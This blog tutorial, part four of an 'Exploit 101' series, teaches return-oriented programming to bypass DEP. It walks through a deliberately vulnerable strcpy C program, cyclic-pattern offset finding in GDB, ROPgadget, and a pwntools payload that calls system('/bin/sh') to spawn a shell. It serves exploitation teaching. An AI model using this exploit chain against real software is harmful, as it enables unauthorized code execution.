In the fourth part of our Exploit 101 series, we dive into Return-Oriented Programming (ROP), a powerful exploitation technique used to bypass security mitigations like Data Execution Prevention (DEP).
What is Return-Oriented Programming (ROP)?
ROP is an advanced exploitation technique that allows an attacker to execute code without injecting shellcode directly into memory. Instead, it reuses existing code snippets (gadgets) from the binary or loaded libraries to craft a malicious payload.
Why Use ROP?
- Bypasses DEP: Since DEP prevents execution of injected shellcode, ROP leverages legitimate executable code.
- Avoids direct shellcode injection: Uses existing functions to achieve malicious actions.
- Works on non-executable stacks: Helps execute system calls by chaining existing instructions.
1. Understanding ROP Gadgets
ROP gadgets are small instruction sequences that end in a ret instruction. They allow control over execution flow without injecting code.
Example ROP Gadget:
pop eax
ret
This allows the attacker to control the eax register before returning execution.
Finding ROP Gadgets
Use ROPgadget to find usable instructions in a binary:
ROPgadget --binary vuln
Example output:
0x0804849b : pop eax ; ret
0x08048542 : pop ebx ; pop ecx ; ret
These gadgets can be chained together to manipulate execution flow.
2. Setting Up a ROP Attack
Step 1: Identify a Vulnerable Function
Consider this vulnerable C program:
#include <stdio.h>
#include <string.h>
void vulnerable_function(char *input) {
char buffer[64];
strcpy(buffer, input);
}
int main(int argc, char *argv[]) {
vulnerable_function(argv[1]);
return 0;
}
It lacks bounds checking, leading to a buffer overflow.
Step 2: Find the Offset
Use a cyclic pattern to find the crash offset:
from pwn import *
pattern = cyclic(100)
print(pattern)
Run the binary with the pattern and find the overwrite location in EIP/RIP:
./vuln $(python -c 'from pwn import *; print(cyclic(100))')
Check the register in GDB:
gdb -q ./vuln
run $(python -c 'from pwn import *; print(cyclic(100))')
info registers
Find the offset using:
print(cyclic_find(0x61616162)) # Replace with actual crash value
Step 3: Build the ROP Chain
Find a useful function like system():
objdump -d vuln | grep system
If system() is available, we can call it with /bin/sh to gain a shell.
Example ROP chain in Python:
from pwn import *
binary = ELF("./vuln")
system = binary.symbols['system']
bin_sh = next(binary.search(b"/bin/sh"))
payload = b"A" * 64 # Overflow buffer
payload += p32(system) # Call system()
payload += b"AAAA" # Return address (not needed)
payload += p32(bin_sh) # Argument to system()
print(payload)
Run the exploit:
./vuln $(python exploit.py)
If successful, this spawns a shell.
Conclusion
ROP is an essential technique for bypassing DEP and executing code without injecting shellcode directly. In the next part, we will cover Heap Exploitation Techniques.
Stay tuned for Exploit 101: Part 5 – Heap Exploitation Basics!
0 comments:
Post a Comment